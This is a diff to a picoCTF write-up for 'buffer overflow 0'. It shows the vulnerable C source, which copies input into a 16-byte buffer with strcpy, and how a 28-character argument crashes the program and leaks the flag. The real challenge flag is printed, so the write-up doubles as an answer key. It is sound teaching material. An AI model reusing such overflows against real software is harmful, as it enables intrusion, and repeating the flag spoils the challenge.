Updated buffer overflow 0

Author: PlatyPew

Binary Exploitation/buffer overflow 0/README.md

@@ -13,9 +13,73 @@ Binary Exploitation
 >If you try to do the math by hand, maybe try and add a few more characters. Sometimes there are things you aren't expecting.
 
 ## Solution
-Simple buffer overflow question
+We can try pwning the binary locally first. Firstly, create a file _flag.txt_ and add some contents into it.
 
-Working solution [solve.sh](solution/solve.py)
+Do a sample run of the program.
+
+```
+$ ./vuln 
+This program takes 1 argument.
+```
+
+Ok, now we try with an argument
+
+```
+$ ./vuln AAAA
+Thanks! Received: AAAA
+```
+
+Seems like it's redirecting the input into output. Let's take a look at the source code.
+
+```c
+// Imports here...
+// Define flag size here...
+void sigsegv_handler(int sig) {
+	fprintf(stderr, "%s\n", flag);
+	fflush(stderr);
+	exit(1);
+}
+
+void vuln(char *input){
+	char buf[16];
+	strcpy(buf, input);
+}
+
+int main(int argc, char **argv){
+	// Reading flag here...
+	signal(SIGSEGV, sigsegv_handler);
+	// gid settings here...
+	if (argc > 1) {
+		vuln(argv[1]);
+		printf("Thanks! Received: %s", argv[1]);
+	}
+	else
+		printf("This program takes 1 argument.\n");
+	return 0;
+}
+```
+
+It looks like the `signal(SIGSEGV, sigsegv_handler)` redirects execution to `sigsegv_handler()` and prints the flag.
+
+In `vuln()`, there is no boundary checking, so even though there is only space for 16 bytes, it `strcpy()` will keep inserting bytes into `buf`.
+
+We can try running the program again, but this time, with a lot more characters.
+
+```
+$ ./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAA
+picoCTF{sample_flag}
+```
+
+We did it locally! It takes 28 or more bytes to leak out the flag.
+
+All we have to do is send it to the webshell.
+
+```
+$ /problems/buffer-overflow-0_2_aab3d2a22456675a9f9c29783b256a3d/vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAA
+picoCTF{ov3rfl0ws_ar3nt_that_bad_5d8a1fae}
+```
+
+Working solution [solve.py](solution/solve.py)
 
 ### Flag
 `picoCTF{ov3rfl0ws_ar3nt_that_bad_5d8a1fae}`

Binary Exploitation/buffer overflow 0/solution/flag.txt

@@ -0,0 +1 @@
+picoCTF{sample_flag}